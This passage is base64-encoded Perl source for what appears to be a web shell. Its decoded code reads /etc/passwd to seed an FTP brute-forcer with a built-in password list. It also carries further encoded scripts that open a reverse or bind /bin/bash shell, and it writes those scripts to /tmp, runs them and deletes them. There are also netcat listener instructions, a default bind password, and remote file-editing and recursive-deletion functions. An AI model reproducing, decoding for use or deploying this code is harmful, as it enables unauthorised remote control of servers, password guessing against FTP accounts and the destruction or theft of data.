lITxmb250Pjxicj4iOw0KCQkkcm93cz0iMjAiDQoJfQ0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCgkkUnVuQ29tbWFuZCA9ICJlZGl0ICRSdW5Db21tYW5kIjsNCgkkcmVzdWx0IC49ICA8PEVORDsNCgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+DQoJJFByb21wdA0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyI+DQoJPGlucHV0IG5hbWU9InMiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IiRmaWxlIiA+ICRzYXZlIDxicj4gJG1zZw0KCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPg0KRU5EDQoNCgkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCZGaWxlT3BlbigkRmlsZSwwKSk7DQoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOw0KCSRyZXN1bHQgLj0gIjwvZm9ybT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGaWxlIE9wZW4NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBGaWxlT3BlbigkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICRiaW5hcnkgPSBzaGlmdDsNCglteSAkcmVzdWx0ID0gIiI7DQoJbXkgJG4gPSAiIjsNCglpZigtZiAkZmlsZSl7DQoJCWlmKG9wZW4oRklMRSwkZmlsZSkpew0KCQkJaWYoJGJpbmFyeSl7DQoJCQkJYmlubW9kZSBGSUxFOw0KCQkJfQ0KCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsNCgkJCQkkcmVzdWx0IC49ICRkYXRhOw0KCQkJfQ0KCQkJY2xvc2UoRklMRSk7DQoJCX0NCgl9ZWxzZQ0KCXsNCgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KTm90ZTogT25seSBzY2FuIGZyb20gMSB0byAzIHVzZXIgOi1TPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZigkdXNlcm5hbWUgbmUgIiIpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZigkaW57J3NsZWVwJ30gbmUgIjAiKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSAqIDEwMDApOw0KCQkJCQl9DQoJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQmFja2Nvbm5lY3QgRm9ybQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kRm9ybQ0Kew0KCXJldHVybiA8PEVORDsNCgk8YnI+PGJyPg0KDQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCgk8dGQ+IEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY2xpZW50YWRkciIgdmFsdWU9IiRFTlZ7J1JFTU9URV9BRERSJ30iPg0KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNiIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+DQoNCgk8dGQ+PGlucHV0IG5hbWU9InMiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shDQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPg0KCTxicj5bK10gQ2xpZW50IGxpc3RlbiB3aXRoIGNvbW1hbmQ6IDxydW4+bmMgLXZ2IC1sIC1wIDxzcGFuIGlkPSJiYSI+ODA8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+DQoNCgk8YnI+PGJyPg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJpbmQgUG9ydDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KDQoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPg0KDQoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTIiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0idmluYWtpZCI+PC90ZD4NCgk8dGQ+PGlucHV0IG5hbWU9InMiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBUZXN0aW5nIC4uLi4NCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIFNvY2tldDsJDQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOw0KCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxkSE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lIQmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1Rb1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0lnWkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxGVGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRLQ0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJWeWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNiM05sS0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1VpazdEUXA5RFFvPSI7DQoNCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9Ow0KCSRDbGllbnRQb3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsNCglpZigkQ2xpZW50UG9ydCBlcSAwKQ0KCXsNCgkJcmV0dXJuICZCYWNrQmluZEZvcm07DQoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsNCgkJaWYoLXcgIi90bXAvIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmFja2Nvbm5lY3QucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9ZWxzZQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOw0KCQlpZigtdyAiL3RtcCIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSbURpcigkKSANCnsNCglteSAkZGlyID0gc2hpZnQ7DQoJaWYob3BlbmRpcihESVIsJGRpcikpDQoJew0KCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJew0KCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKQ0KCQkJew0KCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOw0KCQkJCWlmKC1kICRmaWxlKQ0KCQkJCXsNCgkJCQkJJlJtRGlyKCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJdW5saW5rKCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoRElSKTsNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgIiRmaWxlIjsNCgl9DQoJcmV0dXJuICIwIjsNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgVHJpbVNsYXNoZXMoJCkNCnsNCglteSAkc3RyaW5nID0gc2hpZnQ7DQoJJHN0cmluZz1+IHMvXC9cLy9cLy9nOw0KCSRzdHJpbmc9fiBzL1xcXFwvXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBMaXN0RGlyDQp7DQoJbXkgJHBhdGggPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIuJFBhdGhTZXApOw0KCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgb25TdWJtaXQ9XCJFbmNvZGVyKCdkJylcIiBhY3Rpb249JyRTY3JpcHRMb2NhdGlvbic+PHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz5QYXRoOiBbICIuJkFkZExpbmtEaXIoImd1aSIpLiIgXSA8L3NwYW4+PGlucHV0IHR5c